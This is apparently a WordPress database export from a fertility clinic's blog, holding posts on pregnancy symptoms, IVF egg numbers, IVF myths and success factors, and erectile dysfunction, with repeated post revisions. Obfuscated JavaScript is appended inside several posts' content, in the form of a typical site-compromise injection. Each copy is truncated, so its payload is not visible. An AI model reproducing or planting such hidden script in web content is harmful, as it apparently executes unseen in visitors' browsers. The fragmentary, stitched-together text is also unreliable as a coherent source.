emotional.\r\n\r\nThough fatigue is not a sure-fire symptom on its own, it’s a common pregnancy one. You may find that tiredness wipes you out the most in your first trimester and third trimester.\r\n\r\n<strong>6.Needing to wee frequently</strong>\r\n\r\nFrom about six weeks of pregnancy, you may notice that you’re weeing more often.\r\n\r\nThis is down to a combination of pregnancy hormones, a larger volume of blood in your system, and your kidneys working extra hard.\r\n\r\nIf you feel pain or a burning sensation when you wee, though, you may have a urinary tract infection (UTI). See your <a href=\"http://www.nufertility.com/our-team\" target=\"_blank\" rel=\"noopener\"><em>doctor</em></a> if you think you have a UTI.\r\n\r\n<strong>7. Darker nipples</strong>\r\n\r\nSkin changes are common during pregnancy. One of the first changes you may notice is the circle of skin round your nipples (areolas) getting darker. This can happen from about eight weeks.\r\n\r\nYou may also find that the bumps around your nipples become more pronounced, and your nipples more erect. Your vulva and vagina may change to a deeper, purplish red, too, though you probably won’t notice this!\r\n\r\n<strong>8. Food cravings and altered sense of smell</strong>\r\n\r\nFood cravings can be a symptom of pregnancy. You’re more likely to go off certain flavours at first, though, possibly even before you’ve missed a period.\r\n\r\nYou may notice a metallic taste in your mouth, or find that you can’t face your morning coffee or a food you usually like, such as eggs.\r\n\r\nYour sense of smell may change as well, and you may become more sensitive to food or cooking smells.\r\n\r\n<strong>9. A missed period</strong>\r\n\r\nIf you’re usually pretty regular, and your period doesn’t start on time, you’ll probably take a pregnancy test before you notice any other symptoms. A missed period is one of the surest symptoms of pregnancy.\r\n\r\nBut if your periods are usually irregular, or you lose track of when your next one is due, you may not realise that your period is late. In this case, tender breasts, feeling queasy and making extra trips to the loo may be early clues that you’re pregnant.\r\n\r\n<strong>10. The proof: a positive home pregnancy test</strong>\r\n\r\nMost home pregnancy tests will give you a reliable result if you wait until at least the first day of a missed period.\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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ovarian stimulation with hormones with the intention of retrieving more eggs. The whole idea is to have enough eggs to produce optimum number of good embryos to transfer and to freeze a few in case the fresh transfer fails. The question here is how many do we actually need ? What is the optimum number of eggs needed to achieve a live birth, which in turn is the ultimate aim of IVF.\r\n\r\n<!--more-->\r\n\r\nThe higher number of eggs retrieved is associated with a probability of more chromosomally normal (euploid) embryos which can implant and give rise to a live birth. Chromosomally abnormal embryos (\"aneuploid\") are unlikely to develop as pregnancies, and, if they do, frequently result in miscarriage. The frequency of chromosomally abnormal embryos increases with age and thus the pregnancy rates decrease with age. To produce one and two euploid embryos respectively, five and 14 oocytes would be required at age 34, while 10 and 24 oocytes would be required at age 38. Thus it makes sense to retrieve more eggs .\r\n\r\nBut this comes at a cost .. To retrieve more eggs often we have to use higher dose of hormones increasing the cost as well as the side effects. It also leads to a potentially serious complication of ovarian hyperstimulation where they collect fluid in the abdomen, lungs and also susceptible to hypotension, increased clotting tendency and at times renal shutdown. The excessive ovarian response can also cause the enlarged ovaries to twist on its pedicle, cutting off its blood supply – what we call as ovarian torsion. This is an acutely painful condition which requires immediate medical and surgical attention. Another reason for concern is the compromised egg quality for unknown reasons when there is excessive ovarian response. The raised estradiol hormone in case of excessive ovarian response advances the implantation window, thereby causing an asynchrony between the embryo and the endometrium (uterine lining), ultimately decreasing the implantation rates.\r\n\r\nSo our aim in <a href=\"http://www.nufertility.com/blog/in-vitro-fertilisation/\" target=\"_blank\" rel=\"noopener\">IVF cycle</a> is to retrieve anywhere between 8 to 15 oocytes, so as to consider a fresh embryo transfer and also to expect a reasonably good pregnancy rate. Studies have proven that pregnancy rates steadily increase till 15 oocytes and thereby it decreases. When there is hyperresponse we may have to defer embryo transfer and freeze all embryos to avoid potential complications of ovarian hyperstimulation. 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Nobel prize in medicine was awarded to Sir Robert G Edwards in 2010 for this amazing discovery. It has been about 40 years since the birth of the first child through IVF. Over 4 million people owe their existence to <em><strong><a href=\"http://www.nufertility.com/blog/in-vitro-fertilisation/\" target=\"_blank\" rel=\"noopener\">IVF</a></strong></em>. Despite this, many people are not convinced with this concept. I have listed a few Misconceptions along with their explanation.\r\n\r\n<!--more-->\r\n<ul>\r\n 	<li style=\"list-style-type: none;\">\r\n<ul>\r\n 	<li><strong>IVF injections cause cancer.</strong></li>\r\n</ul>\r\n</li>\r\n</ul>\r\nAll the injections which are given are eliminated from the body within one month. There have been numerous studies till date which have proven that the gonadotropin injections do not cause cancer. However a small risk of borderline ovarian tumours is noted, which have excellent prognosis with preservation of fertility. An oocyte donor can donate eggs for up to 6 cycles safely!\r\n<ul>\r\n 	<li style=\"list-style-type: none;\">\r\n<ul>\r\n 	<li><strong>The medications take away all eggs and result in early menopause.</strong></li>\r\n</ul>\r\n</li>\r\n</ul>\r\nNormally a group of follicles containing eggs begin to grow at the beginning of a menstrual cycle. Only 1 egg matures enough and is released from the ovary. Remaining degenerate. In IVF, these injections rescue the degenerating eggs and stimulate them to reach maturity. As a result, the age of menopause is not affected.\r\n<ul>\r\n 	<li style=\"list-style-type: none;\">\r\n<ul>\r\n 	<li><strong>Babies born through IVF are not normal physically and mentally.</strong></li>\r\n</ul>\r\n</li>\r\n</ul>\r\n2% of the babies conceived naturally are born with some malformation. Similarly about 2-3% of babies born through IVF are with malformations. Most of the abnormal embryos do not implant in the uterus and grow.\r\n<ul>\r\n 	<li style=\"list-style-type: none;\">\r\n<ul>\r\n 	<li><strong>IVF results in twins and higher order pregnancies</strong></li>\r\n</ul>\r\n</li>\r\n</ul>\r\nWe can limit the number of embryos transferred into the uterus and hence prevent multiple pregnancies. In other treatment options such as ovarian stimulation and <a href=\"http://nufertility.com/semen-processing-and-iui\"><em>IUI</em></a>, all the eggs that are released are capable of being fertilized. Hence, we have no control over the rate of multiple pregnancies.\r\n<ul>\r\n 	<li style=\"list-style-type: none;\">\r\n<ul>\r\n 	<li><strong>After IVF treatment, complete bed rest is required.</strong></li>\r\n</ul>\r\n</li>\r\n</ul>\r\nBoth the egg retrieval and embryo transfer are day care procedures, requiring an admission of 3-4 hours. It is advisable to avoid strenuous physical activity of any sort; however there is no evidence that complete bed rest favours embryo implantation. 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\"@context\": \"https://schema.org\",\r\n          \"@type\": \"Blog\",\r\n          \"mainEntityOfPage\": {\r\n            \"@type\": \"WebPage\",\r\n            \"@id\": \"https://www.nufertility.com/blog/things-to-know-before-opting-for-ivf/\"\r\n          },\r\n          \"headline\": \"Things To Know Before Opting For IVF\",\r\n          \"image\": [\r\n            \"https://www.nufertility.com/blog/wp-content/uploads/2018/11/Things-to-know-before-opting-for-IVF-1.jpg\"\r\n          ],\r\n          \"datePublished\": \"2018-04-15T\",\r\n          \"dateModified\": \"2020-02-21\",\r\n          \"author\": {\r\n            \"@type\": \"Person\",\r\n            \"name\": \"Nu\"\r\n          },\r\n          \"publisher\": {\r\n            \"@type\": \"Organization\",\r\n            \"name\": \"Nu fertility\",\r\n            \"logo\": {\r\n              \"@type\": \"ImageObject\",\r\n              \"url\": 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Check out what you need to see before selecting the best IVF treatment in Bangalore.\"\r\n        }\r\n      </script>\r\n<div style=\"text-align: justify;\">\r\n\r\nOnce a couple decides to go ahead with IVF(In vitro fertilization), the next concern is the <strong>IVF success rate</strong> and to decide<strong> when to go for IVF treatment</strong>. As we all know IVF has its limitations and a variety of factors influence the outcome. Some of them are under our control and some of them are not.\r\n<h2 class=\"h2-phone-text\" lang=\"en-US\" style=\"width: 100%;\"><span>What is the Sucess Rate of IVF?</span></h2>\r\nThe outcome of an IVF cycle depends on the quality of the embryo which in turn depends on the <a href=\"https://www.nufertility.com/blog/increase-the-chances-of-pregnancy-with-ivf/\" target=\"_blank\" rel=\"noopener\"><strong>egg quality</strong></a> and the <a href=\"https://www.nufertility.com/blog/tips-to-boost-male-fertility-sperm-count/\" target=\"_blank\" rel=\"noopener\"><strong>sperm quality</strong></a>. Egg quality is mainly dependent on the age of the woman. As age increases, particularly in the late thirties, the chances of having aneuploid/ abnormal eggs increases.\r\n\r\n<strong>ICSI( intracytoplasmic sperm injection)</strong> can overcome most of the sperm-related problems but severely abnormal semen samples can give rise to poor quality embryos, thereby compromising the IVF success rates. Egg numbers are equally important. Studies show that IVF success increases as the number of eggs retrieved increases up to about 15 eggs. Thereafter there is no further increase in the success.\r\n\r\n<!--more-->\r\n<strong><span>what are the main reasons for having repeated IVF Failure?</span></strong>\r\n\r\n</div>\r\nAbout 10-15% of IVF failures could be because of implantation failure as well. Mechanical factors like fibroids especially the submucous variety ( one which grows into the uterine cavity) and large intramural fibroids, adhesions inside the uterine cavity, adenomyosis, abnormally swollen tubes (hydrosalpinx), endometrial polyps, uterine anomalies like the septate uterus. Very few of them can have immunological dysregulation of the NK cells which causes rejection of the embryo.\r\n\r\nOptimal selection of IVF stimulation protocol is very important. As already mentioned egg numbers are important. Depending on the ovarian reserve tests patients can be categorized into hyper responders, normoresponders or poor responders. Giving the right dose of gonadotrophins helps in retrieving a good number of eggs(# 8-15) without subjecting the patient to the undue risk of ovarian hyperstimulation syndrome. Most of them fit into short protocols which takes about 10-12 days and long protocols are reserved for conditions like endometriosis or adenomyosis.\r\n\r\nThe most critical element in <a href=\"https://www.nufertility.com/blog/in-vitro-fertilisation/\" target=\"_blank\" rel=\"noopener\"><strong><span style=\"color: #3366ff;\">IVF (In-Vitro Fertilisation) success</span></strong></a> is the culture conditions provided in the IVF laboratory. A clean room with optimal VOC (volatile organic compounds) and the particulate count is an absolute requirement. Strict quality control measures should be in place. Good incubators and culture conditions along with the experience of the embryologist make a huge difference in the success of an IVF program.\r\n\r\nFreezing and survival rates of the embryos after thawing should be good for the centre if you are considering a <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/frozen-embryo-transfer\" target=\"_blank\" rel=\"noopener\"><strong>frozen embryo transfer</strong></a>.</span> The implantation of the embryo is compromised in a fresh IVF cycle because of the excessive estrogen hormone from the multiple eggs. This effect can be overcome by freezing all embryos in a fresh cycle and transferring them in a frozen cycle. Frozen embryo transfers are more physiological and implantation is very good. But a good freezing and vitrification program is a must to carry out an ‘all freeze’ cycle.\r\n\r\nThe technique of embryo transfer is again an important aspect. 30% of all IVF failures could be due to faulty transfers. It should be very gentle and meticulous. Where ever there is a difficulty, its a must to do a <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/blog/hysteroscopy/\" target=\"_blank\" rel=\"noopener\"><strong>hysteroscopy</strong></a></span> or a mock transfer or cervical dilatation before starting the cycle.\r\n\r\nAdequate luteal phase support with <strong>progesterone and estrogen</strong> is equally important after embryo transfer.\r\n\r\nSo choosing the <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/ivf-icsi\" target=\"_blank\" rel=\"noopener\"><strong>best IVF centre</strong></a></span> with a good clinical and embryological expertise and a clean room IVF lab with strict quality control measures goes a long way in determining the success of an IVF program.\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let 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13:01:35','',0,'http://www.nufertility.com/blog/?p=302',0,'post','',0),(303,1,'2018-11-15 13:01:53','2018-11-15 13:01:53','NU Fertility is the best fertility hospital in Bangalore offering IVF treatment.','Things-to-know-before-opting-for-IVF','','inherit','open','closed','','things-to-know-before-opting-for-ivf','','','2018-11-15 13:03:12','2018-11-15 13:03:12','',302,'http://www.nufertility.com/blog/wp-content/uploads/2018/11/Things-to-know-before-opting-for-IVF.jpg',0,'attachment','image/jpeg',0),(304,1,'2018-11-15 13:05:31','2018-11-15 13:05:31','Once a couple decides to go ahead with <strong><a href=\"http://www.nufertility.com/ivf-icsi\">IVF(In vitro fertilization)</a></strong>, the next concern is the success rate and to decide <strong><a href=\"http://www.nufertility.com/\">where to do it</a></strong>.\r\n\r\nAs we all know IVF has its limitations and a variety of factors influence the outcome. Some of them are under our control and some of them are not.\r\n\r\nOutcome of an IVF cycle depends on the quality of the embryo which in turn depends on the egg quality and the sperm quality. Egg quality is mainly dependent on the age of the woman. As the age increases , particularly in the late thirties , the chances of having aneuploid/ abnormal eggs increases. ICSI( intracytoplasmic sperm injection) can overcome most of the sperm related problems but severely abnormal semen samples can give rise to poor quality embryos, thereby compromising the IVF success rates. Egg numbers are equally important. Studies show that the IVF success increases as the number of eggs retrieved increases upto about 15 eggs. Thereafter there is no further increase in the success.\r\n\r\nAbout 10-15% of IVF failures could be because of implantation failure as well. Mechanical factors like fibroids especially the submucous variety ( one which grows into the uterine cavity) and large intramural fibroids, adhesions inside the uterine cavity, adenomyosis, abnormally swollen tubes (hydrosalphinx), endometrial polyps, uterine anomalies like septate uterus. Very few of them can have immunological dysregulation of the NK cells which causes rejection of the embryo.\r\n\r\nOptimal selection of IVF stimulation protocol is very important. As already mentioned egg numbers are important. Depending on the ovarian reserve tests patients can be categorised into Hyperresponders, normoresponders or poor responders.Giving the right dose of gonadotrophins helps in retrieving a good number of eggs(# 8-15) without subjecting the patient to the undue risk of ovarian hyperstimulation syndrome. Most of them fit into short protocols which takes about 10-12 days and long protocols are reserved for conditions like endometriosis or adenomyosis.\r\n\r\nThe most critical element in the IVF success is the culture conditions provided in the ivf laboratory. A clean room with optimal VOC (volatile organic compounds) and particulate count is an absolute requirement. Strict quality control measures should be in place. Good incubators and culture conditions along with the experience of the embryologist makes a huge difference in the success of an IVF program. Freezing and survival rates of the embryos after thawing should be good for the centre if you are considering a frozen embryo transfer. The implantation of the embryo is compromised in a fresh IVF cycle because of the excessive estrogen hormone from the multiple eggs. This effect can be overcome by freezing all embryos in a fresh cycle and transferring them in a frozen cycle. Frozen embryo transfers are more physiological and implantation is very good. But a good freezing and vitrification program is a must to carry out an ‘all freeze’ cycle.\r\n\r\nTechnique of embryo transfer is again an important aspect. 30% of all IVF failures could be due to faulty transfers. It should be very gentle and meticulous. Where ever there is difficulty, its a must to do a hysteroscopy or a mock transfer or cervical dilatation before starting the cycle.\r\n\r\nAdequate luteal phase support with progesterone and estrogen is equally important after embryo transfer.\r\n\r\nSo choosing the best IVF centre with a good clinical and embryological expertise and a clean room IVF lab with strict quality control measures goes a long way in determining the success of an IVF program.\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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07:00:14','2019-07-03 07:00:14','',302,'http://www.nufertility.com/blog/wp-content/uploads/2018/11/Things-to-know-before-opting-for-IVF-1.jpg',0,'attachment','image/jpeg',0),(306,1,'2020-02-14 09:20:55','2020-02-14 09:20:55','<div style=\"text-align: justify;\">\n\nOnce a couple decides to go ahead with IVF(In vitro fertilization), the next concern is the <strong>IVF success rate</strong> and to decide<strong> when to go for IVF treatment</strong>. As we all know IVF has its limitations and a variety of factors influence the outcome. Some of them are under our control and some of them are not.\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\">What is the Sucess Rate of IVF?</span></h2>\nThe outcome of an IVF cycle depends on the quality of the embryo which in turn depends on the <a href=\"https://www.nufertility.com/blog/increase-the-chances-of-pregnancy-with-ivf/\" target=\"_blank\" rel=\"noopener\"><strong>egg quality</strong></a> and the <a href=\"https://www.nufertility.com/blog/tips-to-boost-male-fertility-sperm-count/\" target=\"_blank\" rel=\"noopener\"><strong>sperm quality</strong></a>. Egg quality is mainly dependent on the age of the woman. As age increases, particularly in the late thirties, the chances of having aneuploid/ abnormal eggs increases.\n\n<strong>ICSI( intracytoplasmic sperm injection)</strong> can overcome most of the sperm-related problems but severely abnormal semen samples can give rise to poor quality embryos, thereby compromising the IVF success rates. Egg numbers are equally important. Studies show that IVF success increases as the number of eggs retrieved increases up to about 15 eggs. Thereafter there is no further increase in the success.\n\n<!--more-->\n<strong><span style=\"color: #ff0000;\">what are the main reasons for having repeated IVF Failure?</span></strong>\n\n</div>\nAbout 10-15% of IVF failures could be because of implantation failure as well. Mechanical factors like fibroids especially the submucous variety ( one which grows into the uterine cavity) and large intramural fibroids, adhesions inside the uterine cavity, adenomyosis, abnormally swollen tubes (hydrosalpinx), endometrial polyps, uterine anomalies like the septate uterus. Very few of them can have immunological dysregulation of the NK cells which causes rejection of the embryo.\n\nOptimal selection of IVF stimulation protocol is very important. As already mentioned egg numbers are important. Depending on the ovarian reserve tests patients can be categorized into hyper responders, normoresponders or poor responders. Giving the right dose of gonadotrophins helps in retrieving a good number of eggs(# 8-15) without subjecting the patient to the undue risk of ovarian hyperstimulation syndrome. Most of them fit into short protocols which takes about 10-12 days and long protocols are reserved for conditions like endometriosis or adenomyosis.\n\nThe most critical element in <a href=\"https://www.nufertility.com/blog/in-vitro-fertilisation/\" target=\"_blank\" rel=\"noopener\"><strong><span style=\"color: #3366ff;\">IVF (In-Vitro Fertilisation) success</span></strong></a> is the culture conditions provided in the IVF laboratory. A clean room with optimal VOC (volatile organic compounds) and the particulate count is an absolute requirement. Strict quality control measures should be in place. Good incubators and culture conditions along with the experience of the embryologist make a huge difference in the success of an IVF program.\n\nFreezing and survival rates of the embryos after thawing should be good for the centre if you are considering a <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/frozen-embryo-transfer\" target=\"_blank\" rel=\"noopener\"><strong>frozen embryo transfer</strong></a>.</span> The implantation of the embryo is compromised in a fresh IVF cycle because of the excessive estrogen hormone from the multiple eggs. This effect can be overcome by freezing all embryos in a fresh cycle and transferring them in a frozen cycle. Frozen embryo transfers are more physiological and implantation is very good. But a good freezing and vitrification program is a must to carry out an ‘all freeze’ cycle.\n\nThe technique of embryo transfer is again an important aspect. 30% of all IVF failures could be due to faulty transfers. It should be very gentle and meticulous. Where ever there is a difficulty, its a must to do a <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/blog/hysteroscopy/\" target=\"_blank\" rel=\"noopener\"><strong>hysteroscopy</strong></a></span> or a mock transfer or cervical dilatation before starting the cycle.\n\nAdequate luteal phase support with <strong>progesterone and estrogen</strong> is equally important after embryo transfer.\n\nSo choosing the <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/ivf-icsi\" target=\"_blank\" rel=\"noopener\"><strong>best IVF centre</strong></a></span> with a good clinical and embryological expertise and a clean room IVF lab with strict quality control measures goes a long way in determining the success of an IVF program.\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let 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fertilization)</a></strong>, the next concern is the success rate and to decide <strong><a href=\"http://www.nufertility.com/\">where to do it</a></strong>.\r\n\r\nAs we all know IVF has its limitations and a variety of factors influence the outcome. Some of them are under our control and some of them are not.\r\n\r\nOutcome of an IVF cycle depends on the quality of the embryo which in turn depends on the egg quality and the sperm quality. Egg quality is mainly dependent on the age of the woman. As the age increases , particularly in the late thirties , the chances of having aneuploid/ abnormal eggs increases. ICSI( intracytoplasmic sperm injection) can overcome most of the sperm related problems but severely abnormal semen samples can give rise to poor quality embryos, thereby compromising the IVF success rates. Egg numbers are equally important. Studies show that the IVF success increases as the number of eggs retrieved increases upto about 15 eggs. Thereafter there is no further increase in the success.\r\n\r\n<!--more-->\r\n\r\nAbout 10-15% of IVF failures could be because of implantation failure as well. Mechanical factors like fibroids especially the submucous variety ( one which grows into the uterine cavity) and large intramural fibroids, adhesions inside the uterine cavity, adenomyosis, abnormally swollen tubes (hydrosalphinx), endometrial polyps, uterine anomalies like septate uterus. Very few of them can have immunological dysregulation of the NK cells which causes rejection of the embryo.\r\n\r\nOptimal selection of IVF stimulation protocol is very important. As already mentioned egg numbers are important. Depending on the ovarian reserve tests patients can be categorised into Hyperresponders, normoresponders or poor responders.Giving the right dose of gonadotrophins helps in retrieving a good number of eggs(# 8-15) without subjecting the patient to the undue risk of ovarian hyperstimulation syndrome. Most of them fit into short protocols which takes about 10-12 days and long protocols are reserved for conditions like endometriosis or adenomyosis.\r\n\r\nThe most critical element in the IVF success is the culture conditions provided in the ivf laboratory. A clean room with optimal VOC (volatile organic compounds) and particulate count is an absolute requirement. Strict quality control measures should be in place. Good incubators and culture conditions along with the experience of the embryologist makes a huge difference in the success of an IVF program. Freezing and survival rates of the embryos after thawing should be good for the centre if you are considering a frozen embryo transfer. The implantation of the embryo is compromised in a fresh IVF cycle because of the excessive estrogen hormone from the multiple eggs. This effect can be overcome by freezing all embryos in a fresh cycle and transferring them in a frozen cycle. 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penile erection that’s firm enough for sexual intercourse and satisfaction.\r\n<h2 class=\"h2-phone-text\" style=\"width: 100%;\"><span ><strong>Erectile Dysfunction(ED) Causes and Treatment</strong></span></h2>\r\nIt can cause low self-esteem, performance anxiety, depression, and stress. Erectile Dysfunction (ED) may affect the quality of a marriage or intimate relationship. The good news is there are many <strong><a href=\"https://www.nufertility.com/male-infertility-evaluation-and-treatment\" target=\"_blank\" rel=\"noopener\">safe and effective treatments</a></strong>.<!--more-->\r\n\r\n<img class=\"alignnone size-full wp-image-317\" title=\"Erectile Dysfunction\" src=\"https://www.nufertility.com/blog/wp-content/uploads/2018/11/SW2.jpg\" alt=\"Erectile Dysfunction Treatment\" width=\"1140\" height=\"589\" />\r\n\r\nStudies show that about one-half of American men over age 40 have some degree of <strong>Erectile Dysfunction</strong>(ED). While ED becomes more common as men age, growing old is not the cause of the problem. Though sexual function may decrease with age, many men enjoy sexual activity well into their senior years.\r\n<h2 class=\"h2-phone-text\" style=\"width: 100%;\"><span ><strong>Warning Signs of Erectile Dysfunction</strong></span></h2>\r\n<strong>Erectile Dysfunction</strong>(ED) can be an early warning sign of a more serious illness, such as heart disease, high blood pressure or diabetes mellitus.\r\n\r\n<strong>Diagnosing and treating</strong> the condition that causes ED can improve your overall well being, as well as help, restore your sexual health.\r\n\r\n<strong>Erectile Dysfunction(</strong>ED) is diagnosed by an <strong><a href=\"https://www.nufertility.com/dr-pramod-krishnappa-andrologist\" target=\"_blank\" rel=\"noopener\">andrologist/urologist</a></strong> or another medical professional through a brief physical examination. A careful medical, social, psychological and sexual history is also taken.\r\n<h3 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>Men with ED may have tests to check for:</strong></h3>\r\n<ul>\r\n 	<li>Low levels of the hormone testosterone</li>\r\n 	<li>Elevated levels of sugar in your blood, which are signs of diabetes</li>\r\n 	<li>Elevated levels of blood cholesterol and other lipids (fatty substances)</li>\r\n</ul>\r\nChanging certain habits, such as stopping medications or alcohol use may improve or eliminate ED.\r\n\r\nPsychological problems, such as relationship conflicts, depression or performance anxiety, can also be treated.\r\n\r\nThe <a href=\"https://www.nufertility.com/blog/penile-implant-in-the-era-of-viagra/\"><strong>oral medications sildenafil (Viagra)</strong></a> and tadalafil are considered safe and effective for treating ED for many men. They work to relax muscle cells in the penis for better blood flow and to produce a rigid erection. These medicines work in about 7 out of every 10 men with ED. They can be effective regardless of age or race. However, they only work if a man is sexually stimulated.\r\n\r\nDrink alcohol only in moderation and do not smoke. This may improve how you respond to drug treatment for ED.\r\n\r\nAs with any drug, some men may experience side effects when taking these medications. The most common are headaches, flushing (redness) of the face, runny or stuffy nose, dizziness, and muscle aches. Those side effects are usually mild, but taking these drugs with alcohol may make them worse. The side effects usually disappear in a few minutes to a few hours.\r\n\r\nEven men who respond to these oral medications should pay attention to lifestyle factors that can affect ED. Get regular physical activity, and try to maintain normal weight and cholesterol levels.\r\n\r\n<img class=\"alignnone size-full wp-image-319\" title=\"Lifestyle Factors\" src=\"https://www.nufertility.com/blog/wp-content/uploads/2018/11/SW3-1.jpg\" alt=\"Erectile Dysfunction Treatment\" width=\"1140\" height=\"589\" />\r\n\r\nOther safe and effective options include vacuum erection devices, self-injection therapy, and <a href=\"https://www.nufertility.com/blog/penile-implant-in-the-era-of-viagra/\" target=\"_blank\" rel=\"noopener\"><strong>penile implants</strong></a>. These other methods are especially useful for men who cannot take tablets or do not have a satisfactory response to the medication.\r\n\r\nMen who use alternative medicines or dietary supplements for ED or for other health reasons should know that “natural” does not always mean safer. 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Dysfunction','inherit','open','closed','','ed-fertility','','','2018-11-21 10:53:25','2018-11-21 10:53:25','',309,'http://www.nufertility.com/blog/wp-content/uploads/2018/11/ED-Fertility.png',0,'attachment','image/png',0),(311,1,'2018-11-21 10:54:53','2018-11-21 10:54:53','Get Erectile Dysfunction treated at NU Fertility.','ED2-Fertility','Erectile Dysfunction','inherit','open','closed','','ed2-fertility','','','2018-11-21 10:56:05','2018-11-21 10:56:05','',309,'http://www.nufertility.com/blog/wp-content/uploads/2018/11/ED2-Fertility.png',0,'attachment','image/png',0),(312,1,'2018-11-21 11:01:55','2018-11-21 11:01:55','Get Erectile Dysfunction Treated at NU Fertility.','ED-Fertility','Erectile Dysfunction','inherit','open','closed','','ed-fertility-2','','','2018-11-21 11:03:04','2018-11-21 11:03:04','',309,'http://www.nufertility.com/blog/wp-content/uploads/2018/11/ED-Fertility-1.png',0,'attachment','image/png',0),(313,1,'2018-11-21 11:07:06','2018-11-21 11:07:06','NU Fertility successfully treats male infertility issues.','ED3-Fertility','','inherit','open','closed','','ed3-fertility','','','2018-11-21 11:08:53','2018-11-21 11:08:53','',309,'http://www.nufertility.com/blog/wp-content/uploads/2018/11/ED3-Fertility.png',0,'attachment','image/png',0),(314,1,'2018-11-21 11:09:32','2018-11-21 11:09:32','Men who have ED are unable to have or maintain a penile erection that’s firm enough for sexual intercourse and satisfaction.\r\n\r\n[caption id=\"attachment_312\" align=\"aligncenter\" width=\"750\"]<img class=\" wp-image-312\" src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/11/ED-Fertility-1-300x155.png\" alt=\"Erectile Dysfunction Treatment\" width=\"750\" height=\"387\" />                                                                                          Erectile Dysfunction[/caption]\r\n\r\nIt can cause low self-esteem, performance anxiety, depression and stress. ED may affect the quality of a marriage or intimate relationship. The good news is there are many safe and effective treatments.\r\n\r\n[caption id=\"attachment_311\" align=\"aligncenter\" width=\"749\"]<img class=\" wp-image-311\" src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/11/ED2-Fertility-300x172.png\" alt=\"Male Infertility Treat\" width=\"749\" height=\"429\" />                                                                                           Erectile Dysfunction[/caption]\r\n\r\nStudies show that about one half of American men over age 40 have some degree of ED. While ED becomes more common as men age, growing old is not the cause of the problem. Though sexual function may decrease with age, many men enjoy sexual activity well into their senior years.\r\n\r\n&nbsp;\r\n\r\nED can be an early warning sign of a more serious illness, such as heart disease, high blood pressure or diabetes mellitus.\r\n\r\n&nbsp;\r\n\r\nDiagnosing and treating the condition that causes ED can improve your overall well being, as well as help restore your sexual health.\r\n\r\n&nbsp;\r\n\r\nED is diagnosed by an andrologist/urologist or other medical professional through a brief physical examination. A careful medical, social, psychological and sexual history is also taken.\r\n\r\n&nbsp;\r\n\r\nMen with ED may have tests to check for:\r\n<ul>\r\n 	<li>Low levels of the hormone testosterone</li>\r\n 	<li>Elevated levels of sugar in your blood, which are signs of diabetes</li>\r\n 	<li>Elevated levels of blood cholesterol and other lipids (fatty substances)</li>\r\n</ul>\r\n&nbsp;\r\n\r\nChanging certain habits, such as stopping medications or alcohol use may improve or eliminate ED.\r\n\r\n&nbsp;\r\n\r\nPsychological problems, such as relationship conflicts, depression or performance anxiety, can also be treated.\r\n\r\n&nbsp;\r\n\r\nThe oral medications sildenafil (Viagra) and tadalafil are considered safe and effective for treating ED for many men. They work to relax muscle cells in the penis for better blood flow and to produce a rigid erection. These medicines work in about 7 out of every 10 men with ED. They can be effective regardless of age or race. However, they only work if a man is sexually stimulated.\r\n\r\n&nbsp;\r\n\r\nDrink alcohol only in moderation and do not smoke. This may improve how you respond to drug treatment for ED.\r\n\r\n&nbsp;\r\n\r\nAs with any drug, some men may experience side effects when taking these medications. The most common are headaches, flushing (redness) of the face, runny or stuffy nose, dizziness and muscle aches. Those side effects are usually mild, but taking these drugs with alcohol may make them worse. The side effects usually disappear in a few minutes to a few hours.\r\n\r\n&nbsp;\r\n\r\nEven men who respond to these oral medications should pay attention to lifestyle factors that can affect ED. Get regular physical activity, and try to maintain normal weight and cholesterol levels.\r\n\r\n<img class=\"size-medium wp-image-313 alignleft\" src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/11/ED3-Fertility-300x170.png\" alt=\"Male Infertility Treatment\" width=\"300\" height=\"170\" />\r\n\r\nOther safe and effective options include vacuum erection devices, self-injection therapy and penile implants. These other methods are especially useful for men who cannot take tablets or do not have a satisfactory response to the medication.\r\n\r\nMen who use alternative medicines or dietary supplements for ED or for other health reasons should know that “natural” does not always mean safer. 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align=\"aligncenter\" width=\"750\"]<img class=\" wp-image-312\" src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/11/ED-Fertility-1-300x155.png\" alt=\"Erectile Dysfunction Treatment\" width=\"750\" height=\"387\" /> Erectile Dysfunction[/caption]\r\n\r\nIt can cause low self-esteem, performance anxiety, depression and stress. ED may affect the quality of a marriage or intimate relationship. The good news is there are many safe and effective treatments.\r\n\r\n[caption id=\"attachment_311\" align=\"aligncenter\" width=\"749\"]<img class=\" wp-image-311\" src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/11/ED2-Fertility-300x172.png\" alt=\"Male Infertility Treat\" width=\"749\" height=\"429\" /> Erectile Dysfunction[/caption]\r\n\r\nStudies show that about one half of American men over age 40 have some degree of ED. While ED becomes more common as men age, growing old is not the cause of the problem. Though sexual function may decrease with age, many men enjoy sexual activity well into their senior 